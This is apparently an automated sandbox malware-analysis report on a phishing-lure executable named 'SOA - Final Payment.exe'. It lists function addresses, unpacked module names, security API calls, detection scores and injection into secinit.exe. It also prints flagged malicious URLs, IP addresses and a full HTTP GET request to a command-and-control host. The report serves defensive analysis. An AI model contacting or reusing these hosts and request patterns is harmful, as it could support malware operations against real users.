Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0126F172	5_2_0126F172
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0134B16B	5_2_0134B16B
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01308158	5_2_01308158
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0128B1B0	5_2_0128B1B0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013401AA	5_2_013401AA
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013381CC	5_2_013381CC
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133F0E0	5_2_0133F0E0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013370E9	5_2_013370E9
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012870C0	5_2_012870C0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0132F0CC	5_2_0132F0CC
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133132D	5_2_0133132D
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133A352	5_2_0133A352
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0126D34C	5_2_0126D34C
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012C739A	5_2_012C739A
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013403E6	5_2_013403E6
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0128E3F0	5_2_0128E3F0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01320274	5_2_01320274
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012852A0	5_2_012852A0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013212ED	5_2_013212ED
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0129B2C0	5_2_0129B2C0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01280535	5_2_01280535
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01337571	5_2_01337571
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0131D5B0	5_2_0131D5B0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01340591	5_2_01340591
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133F43F	5_2_0133F43F
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01271460	5_2_01271460
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01332446	5_2_01332446
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0132E4F6	5_2_0132E4F6
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01280770	5_2_01280770
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012A4750	5_2_012A4750
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133F7B0	5_2_0133F7B0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0127C7C0	5_2_0127C7C0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0129C6E0	5_2_0129C6E0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_013316CC	5_2_013316CC
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01296962	5_2_01296962
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01289950	5_2_01289950
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0129B950	5_2_0129B950
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012829A0	5_2_012829A0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0134A9A6	5_2_0134A9A6
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012ED800	5_2_012ED800
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01282840	5_2_01282840
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0128A840	5_2_0128A840
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012668B8	5_2_012668B8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012838E0	5_2_012838E0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012AE8F0	5_2_012AE8F0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133FB76	5_2_0133FB76
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133AB40	5_2_0133AB40
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0129FB80	5_2_0129FB80
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012BDBF9	5_2_012BDBF9
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012F5BF0	5_2_012F5BF0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01336BD7	5_2_01336BD7
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012F3A6C	5_2_012F3A6C
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01337A46	5_2_01337A46
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133FA49	5_2_0133FA49
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012C5AA0	5_2_012C5AA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0131DAAC	5_2_0131DAAC
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0127EA80	5_2_0127EA80
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0132DAC6	5_2_0132DAC6
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0128AD00	5_2_0128AD00
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01337D73	5_2_01337D73
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01283D40	5_2_01283D40
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01331D5A	5_2_01331D5A
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01298DBF	5_2_01298DBF
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0127ADE0	5_2_0127ADE0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0129FDC0	5_2_0129FDC0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012F9C32	5_2_012F9C32
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01280C00	5_2_01280C00
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01320CB5	5_2_01320CB5
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133FCF2	5_2_0133FCF2
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01270CF2	5_2_01270CF2
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012C2F28	5_2_012C2F28
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012A0F30	5_2_012A0F30
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133FF09	5_2_0133FF09
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012F4F40	5_2_012F4F40
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133FFB1	5_2_0133FFB1
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012FEFA0	5_2_012FEFA0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01281F92	5_2_01281F92
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0128CFE0	5_2_0128CFE0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01272FC8	5_2_01272FC8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133EE26	5_2_0133EE26
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01280E59	5_2_01280E59
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01289EB0	5_2_01289EB0
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133CE93	5_2_0133CE93
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_01292E90	5_2_01292E90
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0133EEDB	5_2_0133EEDB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345A352	10_2_0345A352
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034603E6	10_2_034603E6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033AE3F0	10_2_033AE3F0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03440274	10_2_03440274
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034202C0	10_2_034202C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03428158	10_2_03428158
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03390100	10_2_03390100
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0343A118	10_2_0343A118
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034581CC	10_2_034581CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034601AA	10_2_034601AA
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03432000	10_2_03432000
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A0770	10_2_033A0770
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033C4750	10_2_033C4750
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0339C7C0	10_2_0339C7C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033BC6E0	10_2_033BC6E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A0535	10_2_033A0535
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03460591	10_2_03460591
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03452446	10_2_03452446
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03444420	10_2_03444420
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0344E4F6	10_2_0344E4F6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345AB40	10_2_0345AB40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03456BD7	10_2_03456BD7
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0339EA80	10_2_0339EA80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033B6962	10_2_033B6962
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A29A0	10_2_033A29A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0346A9A6	10_2_0346A9A6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033AA840	10_2_033AA840
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A2840	10_2_033A2840
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033868B8	10_2_033868B8
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033CE8F0	10_2_033CE8F0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03414F40	10_2_03414F40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033C0F30	10_2_033C0F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033E2F28	10_2_033E2F28
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03442F30	10_2_03442F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033ACFE0	10_2_033ACFE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0341EFA0	10_2_0341EFA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03392FC8	10_2_03392FC8
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345EE26	10_2_0345EE26
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A0E59	10_2_033A0E59
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345EEDB	10_2_0345EEDB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033B2E90	10_2_033B2E90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345CE93	10_2_0345CE93
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033AAD00	10_2_033AAD00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0343CD1F	10_2_0343CD1F
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033B8DBF	10_2_033B8DBF
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0339ADE0	10_2_0339ADE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A0C00	10_2_033A0C00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03390CF2	10_2_03390CF2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03440CB5	10_2_03440CB5
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345132D	10_2_0345132D
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0338D34C	10_2_0338D34C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033E739A	10_2_033E739A
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A52A0	10_2_033A52A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034412ED	10_2_034412ED
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033BB2C0	10_2_033BB2C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0346B16B	10_2_0346B16B
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0338F172	10_2_0338F172
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033D516C	10_2_033D516C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033AB1B0	10_2_033AB1B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0344F0CC	10_2_0344F0CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345F0E0	10_2_0345F0E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034570E9	10_2_034570E9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A70C0	10_2_033A70C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345F7B0	10_2_0345F7B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_034516CC	10_2_034516CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03457571	10_2_03457571
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0343D5B0	10_2_0343D5B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03391460	10_2_03391460
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345F43F	10_2_0345F43F
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345FB76	10_2_0345FB76
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03415BF0	10_2_03415BF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033BFB80	10_2_033BFB80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033DDBF9	10_2_033DDBF9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03457A46	10_2_03457A46
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345FA49	10_2_0345FA49
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03413A6C	10_2_03413A6C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0344DAC6	10_2_0344DAC6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033E5AA0	10_2_033E5AA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03441AA3	10_2_03441AA3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0343DAAC	10_2_0343DAAC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03435910	10_2_03435910
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A9950	10_2_033A9950
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033BB950	10_2_033BB950
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0340D800	10_2_0340D800
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A38E0	10_2_033A38E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345FF09	10_2_0345FF09
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A1F92	10_2_033A1F92
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345FFB1	10_2_0345FFB1
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A9EB0	10_2_033A9EB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03451D5A	10_2_03451D5A
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03457D73	10_2_03457D73
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033A3D40	10_2_033A3D40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033BFDC0	10_2_033BFDC0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_03419C32	10_2_03419C32
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0345FCF2	10_2_0345FCF2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A61E90	10_2_02A61E90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5AF60	10_2_02A5AF60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5CF70	10_2_02A5CF70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5CD47	10_2_02A5CD47
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5CD50	10_2_02A5CD50
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5B0AF	10_2_02A5B0AF
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5B0B0	10_2_02A5B0B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A5B0F9	10_2_02A5B0F9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A636FB	10_2_02A636FB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A63700	10_2_02A63700
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A65500	10_2_02A65500
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A7BB90	10_2_02A7BB90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0318E2C3	10_2_0318E2C3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0318E1A4	10_2_0318E1A4
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0318D728	10_2_0318D728
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_0318E65C	10_2_0318E65C

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: String function: 012EEA12 appears 86 times
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: String function: 0126B970 appears 268 times
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: String function: 012C7E54 appears 95 times
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: String function: 012FF290 appears 105 times
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: String function: 012B5130 appears 36 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 0341F290 appears 105 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 033E7E54 appears 101 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 033D5130 appears 58 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 0340EA12 appears 86 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 0338B970 appears 278 times

Source: SOA - Final Payment.exe, 00000000.00000002.1380480533.000000000187E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SOA - Final Payment.exe
Source: SOA - Final Payment.exe, 00000000.00000002.1389270028.000000000BE40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs SOA - Final Payment.exe
Source: SOA - Final Payment.exe, 00000000.00000000.1358800501.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegRvW.exe< vs SOA - Final Payment.exe
Source: SOA - Final Payment.exe, 00000005.00000002.1731725620.000000000136D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SOA - Final Payment.exe
Source: SOA - Final Payment.exe, 00000005.00000002.1731361843.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesecinitj% vs SOA - Final Payment.exe
Source: SOA - Final Payment.exe	Binary or memory string: OriginalFilenamegRvW.exe< vs SOA - Final Payment.exe

Source: SOA - Final Payment.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SOA - Final Payment.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, D10xcgnntUSUthDVjj.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, a1PjpmmEEKL740qFJE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/2@2/2

Source: C:\Users\user\Desktop\SOA - Final Payment.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SOA - Final Payment.exe.log

Source: http://www.bydotoparca.net	Avira URL Cloud: Label: malware
Source: http://www.bydotoparca.net/s3u9/?4J=UzjCSVSddvdCY8C2KpgECGgzR3gby2SVeHfhkJM3nHWcSpz3gZ2Mu5mgzC51fDOgl0cc0ISzjbohHF66d8TEmvApV4bOCL+NdTgdCFBJIAA/S51Hhw==&pd=qdUp	Avira URL Cloud: Label: malware
Source: http://www.physicsbrain.xyz/i9o2/?4J=eeVMOLNT7Wv5dPd1V7fF3d7wbVEZ0Ymjpf1j0+DhWbaaRP3NDl28Px2LHOiznaPSxG5Xa8rlCZjeYW1RU+5lsp5mJoJ4HYPoeUMJkyf7J+YlHSS38A==&pd=qdUp	Avira URL Cloud: Label: malware

Source: SOA - Final Payment.exe	Virustotal: Detection: 62%			Perma Link
Source: SOA - Final Payment.exe	ReversingLabs: Detection: 59%

Source:	Binary string: secinit.pdbGCTL source: SOA - Final Payment.exe, 00000005.00000002.1731361843.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2603955598.00000000009DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: SOA - Final Payment.exe, 00000005.00000002.1731725620.0000000001240000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.1731171296.0000000003004000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.2606177075.0000000003360000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.1733240838.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.2606177075.00000000034FE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SOA - Final Payment.exe, SOA - Final Payment.exe, 00000005.00000002.1731725620.0000000001240000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, secinit.exe, 0000000A.00000003.1731171296.0000000003004000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.2606177075.0000000003360000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 0000000A.00000003.1733240838.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.2606177075.00000000034FE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: secinit.pdb source: SOA - Final Payment.exe, 00000005.00000002.1731361843.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000002.2603955598.00000000009DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: 6UCrnFl0sVXS7jZvJ.exe, 00000009.00000000.1655110436.000000000050F000.00000002.00000001.01000000.0000000C.sdmp, 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2602458312.000000000050F000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then xor eax, eax		10_2_02A59EA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then mov ebx, 00000004h		10_2_031804E8

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 85.159.66.93 85.159.66.93

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i9o2/?4J=eeVMOLNT7Wv5dPd1V7fF3d7wbVEZ0Ymjpf1j0+DhWbaaRP3NDl28Px2LHOiznaPSxG5Xa8rlCZjeYW1RU+5lsp5mJoJ4HYPoeUMJkyf7J+YlHSS38A==&pd=qdUp HTTP/1.1Host: www.physicsbrain.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
